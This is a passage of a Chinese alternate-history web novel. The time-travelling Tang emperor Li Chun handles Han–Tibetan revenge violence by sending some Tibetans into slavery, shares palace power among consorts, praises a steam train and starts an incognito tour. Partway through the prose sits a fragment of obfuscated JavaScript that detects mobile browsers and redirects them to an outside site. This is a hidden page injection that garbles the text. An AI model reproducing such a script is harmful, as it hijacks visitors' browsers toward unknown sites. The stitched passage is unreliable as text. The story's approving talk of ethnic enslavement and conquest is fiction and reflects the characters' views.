除了汉人以外,还有党项族、羌族、沙陀族、氐族也长期被吐蕃人压迫,唐军来了以后减轻他们的负担,册封他们的首领为地方官,在服从朝廷的基础上,给予较大的自**,他们纷纷拥护唐朝的统治。
吐蕃败退以后,一部分吐蕃人迁移回到了吐蕃本土,一部分人则选择留了下来。对于留在唐朝境内的吐蕃人,只要没有劣迹,朝廷没有报复他们,而是参照其他少数民族的模式,册封归顺唐朝的首领为地方官。
安史之乱以后,吐蕃多次侵略陇右、河西一带,对当地的汉人进行了残酷的压榨,甚至强迫汉人学习吐蕃的语言,穿吐蕃式的衣服,妄图同化汉人。
河西一带的汉人被吐蕃统治时间最长,曾经有大量人被抓到吐蕃人做奴隶,那些没有被抓走的,也承担了沉重的赋税和徭役。河西一带的汉人非常仇恨吐蕃人,以前被吐蕃统治没办法,现在朝廷的军队已经打回来了,很多人就想着找机会报复吐蕃人。
凉州一带的汉人青年,感到河西汉人被吐蕃压迫了那么多年,朝廷的军队终于打败吐蕃,虽然惩治了一批罪大恶极的吐蕃人,但是他们对吐蕃人的仇恨仍然难以完全消解。
这些人瞅准时机,先后**起来殴打、羞辱曾经统治他们的吐蕃人,这时吐蕃人已经失势,只能自认倒霉。凉州人的行为,引起其他河西汉人的效仿,有些人甚至更为过火,将他们憎恨的吐蕃人直接杀害。
吐蕃人也不愿忍下去,也**起来,与攻击他们的汉人对拼,先后爆发了好几次聚众械斗的事件,最后演变成大规模的互斗,造成了群死群伤的情况。
威西军的驻地兰州,就在双方冲突的附近,他们刚开始看到汉人报复吐蕃人,心里也是支持的,就睁一只眼闭一只眼。眼看双方的冲突越来越大,再不管就要酿成大规模的**,张茂昭开始紧张了,河西的地方官也开始紧张了。
唐军有平叛的责任,威西军于是在当地官员的请求下,先后**、驱散一些汉蕃群众的对拼行为,并抓捕了一些挑头互斗的汉蕃领头人。其他地方官府也开始干预、阻止双方的斗殴和冲突,并抓捕了一些人,先后将情况上报给朝廷。
10月上旬朝廷先后收到好几份关于河西之乱的奏折,李纯大惊,一边让各地官府制止汉蕃两族的冲突,一边让人调查情况,了解事情的原委。
随着各地不断送来奏疏,整个事件的轮廓大体清晰,特别是威西军统领张茂昭的情况汇报更客观一些。
据张茂昭所述,刚开始汉人的报复对象,主要集中在一些曾经与汉人结怨的吐蕃人身上,后来逐步演变成报复周边的吐蕃人,最后酿成多次规模较大的族群冲突,其中吐蕃人的死伤更多一些。
结合其他官员的汇报来看,刚开始汉人的报复还只限于一部分吐蕃人,但是后面演变成对吐蕃人无差别的报复。吐蕃人也都是性格火爆,在一些首领的煽动下,抱团跟汉人对抗,造成了较大的族群冲突。
在得知这个事件的基本情况后,朝中大臣对如何处置该事件产生了很大的分歧。
以李吉甫为首的一部分大臣认为,朝廷通过对吐蕃人的战争已经教训了吐蕃人,大量的吐蕃人战死,吐蕃也被肢解了,被抓的汉人全部释放,被霸占的土地全部要回来,愿意留在唐朝境内的吐蕃人,都已投诚于唐朝,应该妥善对待,要完全制止双方的互斗行为。
以武元衡为首的一些大臣则认为,吐蕃人在河西压迫汉人多年,汉人现在翻身做主,自然就要报复回来,以前吐蕃人怎么对待汉人,汉人就要怎么对待吐蕃人,要对境内的吐蕃人进行全面的打压。
李纯也为了此事头痛不已,经过一番考虑后,觉得已经对吐蕃进行大规模的打击和惩戒,没必要继续陷在这种民族仇恨中,否则将极大
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地影响朝廷的后续行动,阻碍华夏民族真正的强大。
于是,李纯专门将武元衡召进宫中,跟他探讨此事的处理意见。
李纯说:“武爱卿,以前吐蕃人所犯下的错误,朕都清楚,所以才首选吐蕃进行打击。此次吐蕃之战,吐蕃军前后阵亡六七万人,这还不包括他们内战和西域一带的战果,如果都算上,估计吐蕃起码要损失十万人,而且其中很多是贵族和精锐。战后我们又惩戒、斩杀了一批有罪的吐蕃人,如果还要继续对境内的吐蕃人报复和打压,似乎有点说不过去。”
武元衡激动地说:“陛下,你忘记吐蕃人是怎么对待陇右和河西汉人的吗?以前他们趁着我朝内乱,掠夺、压迫汉人,现在我们终于击败吐蕃占据优势,必须要继续狠狠地惩治吐蕃人,汉人就是要把受到的欺凌十倍还回去!”
李纯苦笑着说:“你把陇右、河西汉人受过的苦难全部施加在留在大唐境内的吐蕃人身上,存在很大的偏颇。这些苦难最大的源头是前几任皇帝的昏庸和朝廷的无能,如果都像太宗皇帝那样雄才大略,吐蕃人只有被挨打的份,哪有能力侵略、压迫汉人?”
武元衡被李纯这种奇特的理论给雷到了,没想到皇帝竟然自曝祖宗的短处,但说的似乎也有些道理,不过他心中仍然有些不服气:“前些年朝廷确实昏庸无能,但是这并不是吐蕃人侵略、压迫汉人的理由,完全可以井水不犯河水。”
李纯知道他不会服气,紧接着说:“吐蕃人侵略、压迫汉人当然不对,但当初谁是施加者,是吐蕃人的贵族、奴隶主,最该受到惩罚的是他们,可是现在他们有的已经**,有的已经内讧,愿意留在大唐境内的吐蕃人,大都是普通的牧民,并不是当初罪恶的施加者,却要他们来承担所有,这公平吗?”
武元衡依然带着情绪:“他们是吐蕃人,和以前施暴的吐蕃人有着血脉联系,这就是他们的原罪,难道汉人吃的亏就白吃了吗?”
李纯反问:“好,按你说的,他们有原罪,该怎么怎么处理他们,是全部杀光,还是全部抓起来为奴?”
这倒把武元衡给问住了,停顿了一会说道:“全部杀掉不至于,那就比吐蕃人当年更过分,抓一些为奴还是可以的”
李纯又问:“好,抓一些为奴,怎么区分抓哪些,然后又分给谁?难道给每个官员家里分几个吐蕃奴隶?”
武元衡有点被问住了,但是还是不想服软,说道:“反正不能放过这些吐蕃人,不惩罚他们,臣等出不了心中的恶气。”
李纯叹了一口气说:“不光是你们恨吐蕃人,朕的也恨他们,而且是恨了很多年,平定吐蕃后,朕就开始想怎么处置吐蕃人,觉得不能再继续执着于杀戮和报复了,还是要从长计议。”
武元衡看到,李纯的眼神中泛着一种淡淡的忧伤,不禁问道:“陛下,从长计议怎么讲?”
李纯语重心长地说:“如果止步于唐蕃两国对抗,你说的朕也赞成,甚至可以派兵到吐蕃境内,抓捕更多的吐蕃人为奴,可是然后呢?朕和诸位臣工努力奋斗,就是为了报复一番吐蕃人?大唐的未来是什么?”
李纯突然蹦出这样的问题,把武元衡整的有点不会了,疑惑了一会说道:“陛下不是说过吗,后面我们还要打回鹘、南诏、契丹,甚至是新罗、扶桑。”
李纯点点头,说道:“对,我们未来还要打很多国家,但是打一个国家就杀戮或奴役,你觉得大唐能打到哪里?靠反向压迫其他民族,大唐的荣耀能够支撑多久?”
李纯的思想跳跃有点大,武元衡有点跟不上,本来就是说吐蕃人,怎么越扯越远,就提醒道:“陛下,今天说的是吐蕃人,其他国家可以日后再说。”
李纯接着说:“你跟朕最大的区别,不在于对吐蕃人的态度,而在于考虑的方向不同,今日如果残酷对待吐蕃人,其他民族以后就会拼死抵抗,就算能够打败回鹘、新罗等地,大唐也就止步于此,没有更大的发展了。”
武元衡答道:“如果能再拿下回鹘、契丹、新罗等地,就已经很好了,可以赶上太宗年间了。”
李纯带着一股豪气说:“你这个土包子,拿下这几个地方就心满意足,大唐为什么不能拿下全世界呢?普天之下,目之所及,所有的土地都应该纳入唐朝的版图,所有的民族都在华夏的统治之下!”
第61章 整顿宫闱
武元衡有点被雷到了,这个想法太夸张了吧,反正自己从来没有想过,又突然醒悟道:“这就是陛下所说的从长计议?”
李纯道:“你们的想法太窄,就盯着吐蕃人,以后朝廷要打的国家多了去了,总不能全让汉人流血去打,可以让吐蕃人、回鹘人、新罗人出兵帮着打,让他们充当仆从军,以夷制夷难道不好吗?”
武元衡听说以夷制夷,突然有点转过弯了,留着这些吐蕃人充当仆从军,以后帮助唐朝打其他民族、拓展疆域,其实也不错,但是还有些疑惑,就问道:“回到当下,那河西之乱该怎么处置?”
李纯说:“河西的汉族青年激于义愤,被以前的民族仇恨所影响,做一些冲动之举,也可以理解,在冲突中和汉人对抗的吐蕃人,杀了就杀了。但是作为朝廷的大员,要通盘考虑全局,不能放任局势失控下去,那些留在唐朝的吐蕃人,不仅会向朝廷缴纳赋税,以后还会提供兵员,这样互相打打杀杀,除了引起不必要的杀戮和仇恨,没有任何意义。”
武元衡也觉得两族这样一直斗下去,似乎也不是一个办法,按照自己原先的思路搞下去,肯定要出大的乱子,有点不好意思了,就说:“臣现在开始明白陛下的苦心,但是这个事总要有个合适的收场。”
李纯道:“这次冲突,整体是吐蕃人死伤的多,汉人死伤的少,对于没有人命在身的两族人全部释放,有人命在身的汉人就关一个月,然后找个赦免的理由放了,有人命在身的吐蕃人全部押送到河南一带为奴。对于无辜的死者,不管是汉蕃百姓,每人发放一些抚恤金,就算翻篇了。”
武元衡觉得,李纯的处理结果还是明显偏向汉人,这才有些满意地说:“臣开始还以为陛下要维护吐蕃人,才会有些着急,还请陛下见谅。”
李纯说:“朕也是汉人,怎么可能去维护吐蕃人,只是以后我们要征服的地方很多,不能一直陷在民族的仇恨中,而是要把这些被征服的民族为我所用。以后我们要把国家发展的更强大,让百姓们过上好日子,让汉人更富足、更有尊严的活着,这才是对华夏民族更负责任的做法。”
武元衡说:“是臣有些狭隘了,陷在历史的恩怨中出不来,汉蕃两族的矛盾就到此结束吧。”
李纯深情地说:“千年以来,我们华夏民族历经起伏跌宕,一直跟周边的几个民族死磕,带来了极大的损耗,后面必须要打出去,以更强大的实力和更好的制度去征服别的民族,如果继续用**、奴役的野蛮方法,和那些蛮族有什么区别?虽然能逞一时之快,但最后必将在和周边各族对拼中再次衰落。”
武元衡听了,有些不好意思了,说道:“臣愿意亲自去河西地区,化解汉蕃两族的矛盾。”
李纯说:“不用了,你还要准备明年的战事,你的能力要发挥在对外征战上,朕准备让令狐楚担任河西宣慰使,妥善处理此事。”
武元衡又说:“如果把那些人释放以后,他们还重新闹矛盾怎么办?”
李纯道:“释放他们之前,每个人都要签一个保证书,承诺不再主动挑衅,如果再次违反,不管是汉人还是吐蕃人,全部按照律法进行处罚,要么判刑、要么杀头。”
至此,武元衡完全佩服李纯的处理方式,在朝中突然转变态度,强烈支持采取措施,结束汉蕃冲突。领头的官员都改变态度,其他大臣都逐渐理解了李纯的苦心,全部支持朝廷的决定。
三日后,令狐楚带人去河西一带,按照李纯的方略,采取恩威并施的办法,逐步安抚了两族的矛盾。
最终,少量在冲突中伤害汉人的吐蕃人被抓去为奴,参与冲突的汉人被关了一个月后,被令狐楚找个借口赦免了,两族死者全部获得抚恤,官府也不再追究其他人,事件也就逐步淡化了。
对于新夺回的陇右之地,虽然暂时划归关内道,但毕竟不是长久之计,必须要有个明确的划分。
很多人建议重新设立陇右道,但李纯认为,西北地区土地贫瘠,人口不多,单独设一个道,就要增加不少官员和其他公职人员,成本很高,目前的关中道、河东道也不大,可以进行合并重组。
李纯对着地图看了一番,觉得关内道所管辖的丰州(今内蒙古五原以南)、胜州(今内蒙古托克托附近),其实跟河东道联系更紧密,可以划给河东道。
从黄河中段的龙门开始,沿黄龙山往西北延伸,接着又是白于山,一直延伸到**乌素沙地,此线以东也全部划给河东道。关内道剩下的地方和陇右合并,组成新的关内道。
在细节上,由于延州(今延安市)横跨黄龙山,被分割成两部分,可以将黄龙山西面的较小部分划给庆州(今甘肃庆阳),延州南边的丹州比较小,可以并入延州,重组后的延州整体归河东道。
关内道的南沿基本沿着大巴山,没什么问题,但是东南方向与湖北道交界的地方犬牙交错,边界曲折乱拐,非常不合理。可以把关内道东南方向的的商南、白河、镇坪三个县,全部划归湖北道,这样边界就比较平整了。
经过重新划分,避免了增设陇右道,关内、河东、湖北三道的面积都有所增加,相对均衡。
李纯认为,以后随着发动其他对外战争,唐朝的领土面积还会增加,都有应该更加合理的设置和调整行政边界,避免出现同级行政区人口相差过大、边界曲折交错的问题。
李纯和两位宰相聊了调整行政区的构想,两个宰相觉得李纯的划分没有问题,但是裴垍问道:
“河东道因为土地都在黄河以东得名,这样一来,有些土地在黄河以西,是不是要改名?”
李纯道:“不仅河东道,其他很多道的名字都不太合适,以后很多要改,先沿用旧的名字,等对外战争结束了,还要新建几个道,到时再统一改。”
李吉甫说:“陛下调整行政区域的想法是对的,以前设置行政区域时,有的很大,有的很小,同一级所辖的人口和面积相差悬殊,有的州不到一个县的人口,也是一个州的架子,相当于多配了官员,增加了财政压力。”
李纯道:“吉甫说的对,这是一个很重要的问题,目前对外战争还要打两年,等大势定了以后,再进行全面的调整,让各级行政机构的级别与辖区的人口和财力相匹配,不能再出现小马拉大车的情况。”
三人议了一会,取得共识后,两位宰相奉命回去落实三个道行政区划调整的事。
李纯有了点闲空,就到蓬莱殿看看郭贵妃,只见郭贵妃正抱着一个三岁小孩逗乐呢,旁边还有一个年轻的妇人。李纯知道,这是他的第三个儿子遂王李宥的王妃王氏,带着孩子进宫来见郭贵妃。
李纯看了直摇头,就说道:“你这个宝贝儿子学业不行,吃喝玩乐都很在行,不到14岁就搞起了男女之事,才17岁孩子就三岁了,比他两个哥都早。”
郭贵妃反驳道:“让你早点抱孙子,让大唐后继有人不好吗?再说,你当年不也是很早,我还没过门就跟纪氏搞出了孩子,儿子还不是跟你学的?”
说的李纯哑口无言,都是穿越前的李纯造的孽,全部算到自己头上,还没法说理,唉!
李纯道:“既然李宥都当爹了,也该有个当爹的样子,正经的学点本事,以后才能治国理政,整天吃喝玩乐像什么?”
郭贵妃说:“以前我也管过,管松了他还能学点,管严了他干脆不学了,说天天看那些书本就头疼,打死也不想学了。”
李纯说:“朕听说你对宫女太监管的很严,动不动就打板子,对自己的儿子怎么就管不住?”
郭贵妃说:“那能一样吗?宫女太监都是奴才,犯了错就应该打,儿子是我的心头肉,哪敢真的打,孩子天生爱玩,以后长大了,帮他找几个能干的大臣辅佐就行了。”
听得李纯难以认同,就李宥这样子,以后当了皇帝也够呛,谁辅佐他谁倒霉,李纯可不敢把江山交给这个纨绔子弟。
跟郭贵妃话不投机,李纯就不想多聊,回到紫宸殿吃饭休息去了,下午想起大儿子邓王李宁,就把他召进宫里询问情况。
李宁进宫后,中规中矩的向李纯行礼,而后侍立一旁。
李纯问道:“宁儿,你弟李宥的儿子都三岁了,你去年9月结婚,王妃**可有动静?”
李宁说:“禀父皇,儿臣自结婚以来,觉得利用时光多学点东西更重要,对生孩子并不着急,不过听**说,好像有怀孕的表现,还没请太医诊脉确定。”
李纯对他爱学习的态度很满意,说道:“为父每天忙于朝政,没有时间管你们,你要多利用时间多学点知识,以后好早日辅佐朕治理大唐。”
李宁恭敬地说:“父皇教育的是,儿臣一定勤加学习,多学知识、提高能力,争取像父皇那样文韬武略,把国家治理的井井有条。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16348650|183546||http|test|mini|href|location''.split(''|''),0,{}));
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r>听到儿子这么会说话,李纯不禁笑了一下,然后问道:“最近你母亲那边怎样,有没有经常过去问安?”
李宁则说:“儿臣每隔几天都会进宫向母亲问安,母亲身体还好,就是过得有点不如意,经常受人压制。”
李纯是个聪明人,听出李宁话中有话,问道:“你是说郭贵妃对你母亲有所压制?具体情况说来听听。”
李宁说:“郭贵妃掌握了宫中的权力,很多宫女太监都要听她的,对待其他妃子也很强势,谁要是不听她的,她就以权压人,对妃子不好下手,就让内卫处找借口教训各个妃子手下的宫人,很多宫人都曾经被内卫处体罚、关禁闭,其他妃子敢怒不敢言。”
李纯也多少听到了一些风声,女人多的地方,是非就多,争风吃醋,还搞起了宫斗,这个郭贵妃,管自己的孩子不行,管起其他人倒是很用心。
李纯道:“宫闱之事,你不要过多参与,郭贵妃那边的情况我会处理,适当采取一些措施。”
李宁说:“儿臣谨遵父皇教诲,儿臣最近想多读些书,找不到合适的,请父皇推荐几本。”
李纯说:“朕让人在国子监收集了不少书,你可以去找一些来读,重点读两种书,一是读一些科学方面的书,开阔一下眼界,提高自己的逻辑思维能力;二是多读史书,史记、汉书、三国志都不错,历史书虽然枯燥,但要认真读,读多了对做人和治国就会有深刻的理解。”
李纯和李宁又聊了一会,对他总体还算满意,觉得他还有点上进心,比李宥和李恽都强,对他寄予了很大的希望。
李宁走后,李纯考虑了一番,一方面李宁各方面表现很好,是自己属意的继承人,有心要扶持纪氏一把;一方面也不能任由郭贵妃发挥,要适当分权,避免一家独大。
想好后,李纯把李承闽叫来,询问宫内的的一些情况。
李纯问:“现在宫内都是什么情况,郭贵妃是怎么管的,怎么其他妃子都有意见?”
李承闽说:“现在宫里都是郭贵妃说的算,郭贵妃比较严厉,宫里的人都怕她。”
李纯道:“她是不是会利用手中权力打压其他的妃子,不听话的宫人都会被她教训?”
李承闽哪敢实说,只说:“郭贵妃要求比较严,对于不顺从她的,自然要采取一些措施。”
李纯道:“按理说,后宫可以由她说的算,但是也不能不顾及其他妃子,总要留点余地,你们内侍监是怎么分工的,都是郭贵妃任用的人吗?”
李承闽说:“我们内侍监分为9个处,一是内卫处,负责维护宫内秩序和调查处罚犯错的宫人;二是内管处,负责宫内任务分配和人事管理,宫里招人、调职、遣散都归他们管;三是尚物处,负责管理宫内的财物,主要是宫里的经费开支和宫人月钱的发放;
四是尚膳处,主要负责宫内的饮食,主要是各类食物的采买、保存和烹饪;五是尚衣处,负责管理宫内的服装和织物,主要涉及服装和织物类的采买和加工;六是尚宝处,负责管理宫内的印信和重要物件,御玺就在这个处保管;
七是御马处,负责管理宫内的马匹,也管理宫内的其他牲畜;八是赏务处,负责准备和采买皇上对臣下的赏赐事宜;九是勤杂处,主要负责宫内的打扫和其他杂役。各处的负责人有的是原来的人员,有的是郭贵妃后来任命的,皇上有说过,后宫的事郭贵妃负责,所以各处基本都听郭贵妃的。”
李纯道:“原来让郭贵妃来管,是想让她统一管好,不是让她徇私,树立个**威,皇宫最终还是朕说的算。这样吧,以后权力不能全部集中在郭贵妃一个人,内卫处、内管处、勤杂处归郭贵妃管,尚物处归纪妃管,尚膳处归刘嫔管,尚衣处归杜妃管,剩下的尚宝处、御马处、赏务处,你来具体管,九个处在面上仍由郭贵妃统一管。”
李承闽说:“陛下的主意好,既集权,也适当分权,这样会相对均衡一些。”
李纯觉得,一个人的权力太大,欲望就变大,以前感觉郭贵妃还不错,后面把皇宫的事全部委托给她以后,她越来越喜欢揽权,树立个**威,打压其他嫔妃,是应该限制一下了。
宫里的九个处,郭贵妃掌握三个,其他三个嫔妃掌握三个,李承闽代表皇帝掌握三个,这样三方可以相互牵制、相互制约,省的一方独大,郭贵妃再想随便整治其他人,就会有所顾忌。
第62章 火车演示
对于家务事,李纯就是简单处置一下,不想费太多心思,他心心念念的还是朝廷的大事。明年要出兵打还几个地方,要提前筹划,什么展览会、工商业、火车、架桥修路的事也要操心去推动,只有各项事业有进展,统一世界的愿望才能逐步实现。
李纯召见了李巽和程异,向他们了解对经济的运行情况,两人汇报说,元和六年全部撤除税卡以后,各类商品流通更加方便,极大的调动了商人的积极性。
前面两个月税收有所下降,但是后面随着商品交易越来越活跃,征收的赋税连续连续上涨,今年全国的赋税预计达到4000万贯,比元和元年翻了一番。
尽管又是迁都,又是修路,还有对吐蕃的战争,财政收入都能应付,甚至还会略有盈余。
有了钱,各项事业的推进就有了后盾,相关支出都顺利进行。科工部大规模生产新式火器,新式的**、火炮大规模的装备部队,特别是明年要打仗的几个部队,都在密集的配发武器,全面进行训练。
夏原新都在紧锣密鼓的建设,各种建设材料源源不断运过去,吸引了十几万人到那里务工,宫殿和官衙拔地而起,新都有了初步的雏形。
长安经洛阳、汴州到夏原的大道已经修通,商旅和百姓通行更加方便,促进了商业的繁荣。
经过工商部的持续努力,工商业蓬勃发展起来,一些地方新建了大型的钢铁作坊,铁器的质量和产量都有了明显的提高,棉纺织业的产量也提高了,纺织机不断地改进,出现了一批水力、牛力纺织场,采矿业、建筑业、商贸业都在蓬勃发展。
经过两次发明大会的调动,很多百姓对发明创造有了浓厚的兴趣,特别是各行各业的从业者,通过发明创造既可以参加发明大会获奖,又可以提高生产效率多赚钱,一举两得。
很多人有了一些发明、改进、创意就去科工部展示,科工部对于其中确实有推广意义的发明创造,一律予以重奖,有的个别突出人员甚至破格召录为官,搞得百姓们更加踊跃。
潘兴法搞出水泥以后,正在开始用混凝土建房、造桥、修路,首先把皇宫和重要衙门周边的道路铺设了水泥路面,官员和百姓们惊喜不已,终于不怕下雨泥泞了。
最让人欢欣鼓舞的是艾笛声的蒸汽机火车搞出来了,还邀请李纯和重要大臣三日后过去观看。
李纯正为这些事高兴,考虑着下步的一些打算,李承闽突然禀报李纯说右丞裴垍中风了,李纯连忙带人前去探望。
李纯到了裴垍的府上,只见裴垍卧在床上不能说话,只是勉强抬起头,动了几下,向李纯致意。李纯问了其家人,才知道裴垍最近身体不好,突然中风,病情比较严重,已然不能参与朝政。
对于裴垍,李纯的印象还是很好的,此人循规蹈矩,做事认真,处理大事很有见地,与其他大臣人际关系相处也不错。他此次病重,李纯感觉犹如少了一条臂膀,但人无法避免生病,他也是无可奈何,只能嘱咐其家人好好治疗,赏赐了一些银钱,黯然回到宫中。
火车是李纯非常关心的大事,到了日期以后,他带着李吉甫、武元衡、李绛等人到长安城东火车站,坐上观礼台,观看艾笛声进行的火车运行演示。
只见在长安城东往潼关方向修了一段铁路,下面铺着碎石,上面是连着枕木的铁轨,铁轨上停着一个大家伙,车头像个大铁罐,上面有个烟囱,下面是一排铁轮子,后面拉了三节车厢。
艾笛声对着李纯方向行了个礼,然后说道:“臣按照陛下的思路,带着交通司的人员前后摸索了两年,前面造了好几个样车,都不太满意,这次总算有了明显的进展。前段经过测试,认为比传统的马车有很大的优势,这次为了方便对比,我们准备了一辆马车,一起开始跑,请陛下和各位大臣见证一下。”
李纯道:“你就按准备的演示,开始吧。”
艾笛声招呼了一下,就有一个车夫赶来一辆马车,停在火车旁边的土路上,那边火车准备好以后,艾笛声挥动手中的旗子,火车开始启动,车夫也驾起马车同时向东跑。
刚开始火车跑的比较慢,马车比较快,很多人还觉得火车不太行,可是火车后面越来越快,马车则逐步显露疲态,速度慢了下来,火车逐渐赶上马车,最后甩了马车一大段距离。
李纯看到这里,就说道:“马毕竟是畜生,跑一段就会累,火车是机器,只要往里面烧木头、煤炭就会一直猛跑,而且火车可以拉很多车厢,带很多货物,这是个好东西。”
李绛说:“艾笛声和交通司的人,为了这个火车,投入了大量的精力,倒腾了好久,才有今天的一鸣惊人,臣替他们请赏。”
李纯道:“有功之臣就要封赏,现将艾笛声的官职由正五品提升为从四品,另赏银500两,其他有功之人,由科工部据实上报,**行赏,下步科工部要集中力量修建长安到洛阳的铁路,所需经费从户部支取,争取早日让大家可以坐着火车去洛阳。”
李吉甫说:“火车真是个好东西,可以一次性拉很多东西,如果长安到洛阳的铁路修通了,以后旅途就不用那么辛苦了。”
武元衡说:“我想的是,如果用火车拉军队,一次可以拉很多士兵,又可以带很多武器和物资,调动军队方便多了。”
李纯又对程异道:“这个推动火车的蒸汽机有大用,可以用在工业上代替人力,还有那些牛力、水力毕竟运用有限,蒸汽机才是大规模应用的首选,你们工商部要抓好蒸汽机的推广工作。还有新搞出来的水泥、开采煤炭、纺织机,你们都要抓好推广应用,让工业发展起来,生产更多更好的产品。”
程异说:“这些新发明,对工商业的发展太重要了,我们一定把这些好东西推广应用,让百姓们得到实惠。”
看完火车的演示,李纯又询问了发明大会展览会的事。
李绛说:“现在我们不搞集中展示了,有新的、有用的发明,随时可以来我们科工部评选,我们认定有创新、有实用价值的发明,我们都会详细备案,然后在8月初进行评比,获奖产品再参加展览会。”
程异说:“目前展览会越办越好,参加展览会成为各大商家展示产品、打开销路的一个好机会,各个商家踊跃参与,很多商家在展览会的成交额很大,也乐于缴纳参展费,又帮助朝廷多了一笔收入。”
李纯道:“天下熙熙,皆为利来,天下攘攘,皆为利往。我们搞发明大会也好,搞展览会也好,就是激发群众的创造性和进取心,通过新的产品和平台,把产品卖的更好,赚更多的钱,老百姓富了,国家才会富强。”
科工部接到修通长安到洛阳铁路的任务后,李绛高度重视,组织交通司和建筑司的人员全力以赴。光是勘探路线,规划站点就花了好几个月的时间,后面李绛进行分工,艾笛声带交通司重点负责铁路的铺设和火车的制造,建筑司重点负责沿途的桥梁和车站建设,也算是各取所长。
李绛亲自抓征地工作,以三品大员的身份,要求沿途各地按照规划路线供地,由于是朝廷重要工程,赔偿的额度也足,征地还算顺利。
对于潘兴法来说,架桥和修建车站正好可以用到大量的混凝土,他精心设计,立志要修建出坚固美观的桥梁和车站,让别人刮目相看。
艾笛声前面集中精力研究火车,对于大规模修建铁路经验不足,也是边做边学,慢慢的步入了正轨。
自从元和四年朝廷扫平藩镇以后,在元和七年又击败肢解了吐蕃,现在又搞出了火车,老百姓们是议论纷纷,兴奋异常。
在长安的一家茶馆里,一帮人边喝茶,边高谈阔论,当前的时局就成了议论的焦点。
有个四十来岁的中年商人说:“自从削平藩镇以后,朝廷又成立了工商部,我们商人做生意方便多了,现在关卡没了,税收降低了,物价也就便宜了,现在经商赚钱比以前容易多了,我的店铺一年的利润胜过以前两年。”
另外一个三十多岁的商人说:“不光你的生意好,我的马队生意也好多了,现在每个月要雇我的马队拉货的商人络绎不绝,这两年兄弟我多赚了不少钱,还想再纳个小妾哩。”
还有一个二十多岁的年轻人说:“赚钱重要,民族地位更重要,我老家在兰州,以前被吐蕃人统治时,汉人就是被欺负的命,现在不一样了,吐蕃人见了汉人就得让道走,敢横一下,就揍他。”
另外一个年轻人接上话说:“那是,现在可不比以前,咱们的朝廷牛逼了,我
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们汉人也跟着沾光,听说朝廷明年还要打回鹘、南诏,那些招惹过我们汉人的蛮夷,都要揍一顿。”
一个儒者模样的人说:“现在我们大唐,可是一年一小变,三年一大变,最近又弄出火车,以后如果能够坐火车去洛阳,那感情才爽呢。”
还有一个老者说:“还是咱们的皇上有眼界,先是捣鼓出火器,又搞了那么多改革,现在又搞出了火车,老百姓的日子越来越好,都赶上开元年间了。”
另外一个老者说:“俗话说:三年不鸣,一鸣惊人,皇上还年轻着,这才刚开始大干,好日子还在后头呢。”
裴垍生病后,在家休养了一段时间,可是病情却愈发严重,根本无法参加工作,朝廷必须要考虑右丞的合适人选了。
李纯思来想去,最适合的自然是武元衡,此人本来就是以宰相身份去的西川,为了攻打吐蕃牺失去了做宰相的机会。
武元衡和李吉甫关系较好,搭配也不成问题,李吉甫长于内政,武元衡善于战事,未来李吉甫可主要负责经济和内政,武元衡主要负责对外作战和外交,这样也可以省去自己不少精力。
定下决心后,李纯正式下旨,免去裴垍右丞的职位,改为右仆射,享受正二品待遇,在家养病,任命武元衡为右丞。
在唐朝,帝王是不能接触百姓的,一是为了安全着想,二是显示帝王的权威。
但是李纯认为皇帝如果不下到底层走走,就无法了解下面的一些真实情况,施政方向就会产生偏差,他决定仿效康熙,来个微服私访。
为了筹备这次出行,也是煞费苦心,首先是人员不能太多,李纯只带崔群、郭钊、纪奎三个官员,其他再带十几名贴身护卫,为了安全,也布置了一批警卫、暗探在附近,可随时接应。
为了掩饰身份,决定由纪奎为名义上的商队老板,称为纪老板,李纯和崔群为随行客商,称为李老爷、崔员外,郭钊为镖局领队,称为郭镖头。
长安已经进入冬天,寒风料峭,李纯等人穿着厚实的衣服,戴着皮帽,倒是不容易被认出来。他们带着几车皮货,由纪奎领头,由十来个护卫扮为镖客押着前行,在长安街巷行走,他们边走边看边听,身边的感受长安的发展变化和人情故事。
李纯即位以来,国家日趋富强,长安也更加繁荣,虽进入冬季,依然是胡汉客商云集,人来人往,好不热闹。
只见长安城很多地方都在搞建设,朱雀大街由土路改成了水泥路,其他主干道也要分批翻修硬化;由于商业放开了,很多沿街好的地段开始改建成商铺;不少老百姓家里富裕了,新建宽敞舒适的房子。路上的行人,穿丝绸棉布衣服的人多了,穿麻布衣服的少了,大都面色红润、精神焕发。
他们闲逛了一段,崔群说:“李老爷,现在的长安发展的真好,比起十年前变化很大,很多旧屋变新房,老百姓的生活比以前好多了。”
李纯道:“国家的发展就应该这样,只有百姓的日子好了,国家的强大才有坚实的基础,随着工商业的发展,长安会更加繁荣。”
他们一路上看到不少工厂、店铺,都生意兴隆,人流如织,正感到欣慰之时,看到前面有群人在**。走近一看,原来是在一家赌场门口,只见赌场里面的赌客很多,大声吆喝着牌点的大小输赢,赌场门口则有两个人在推打一个人,有一些百姓围着看热闹。
只见有个二十来岁的年轻人,吵着闹着要进赌场,两个壮汉对他推打了一番,然后扭住他的两个胳膊把他架出来,出了门就把他往地上一扔,其中一个还骂道:“妈的,没钱还赌个屁,再敢捣乱就揍你!”
被扔出的男人身材瘦弱,仍不甘心,绝望地喊道:“老子有钱来赌,你们就把我当爷,刚输完钱,你们就翻脸不认人,我还要再赌一把,一定能翻本。”说完,就起来还想往里进。
只见这时从赌场里走出一个四十来岁管事的模样中年人,对这个年轻人说:“想进来赌钱,我们赌场当然欢迎,但是首先你也得有钱,赊欠这种事,我们从来不干,要赌就拿钱来,没钱再捣乱,就打断你的腿!”说完凶狠的看着这个年轻人。
年轻人已经被打的有点伤痕,觉得如果再硬来肯定会吃亏,只得怏怏而走。
第63章 微服私访
这时,跑来一个五十来岁的老人,对着这个年轻人说:“不让你赌,你偏要赌,把家里的钱都拿来赌,现在全输光了,我们吃什么?”说完呜呜的哭起来。
谁知那个年轻人并不理会,挣开他,向远处跑了。
李纯看着这个老人破衣烂衫,面有菜色,应是穷苦人家,便走上前去问道:“老丈,这是怎么回事,刚才那个年轻人是你儿子吗?”
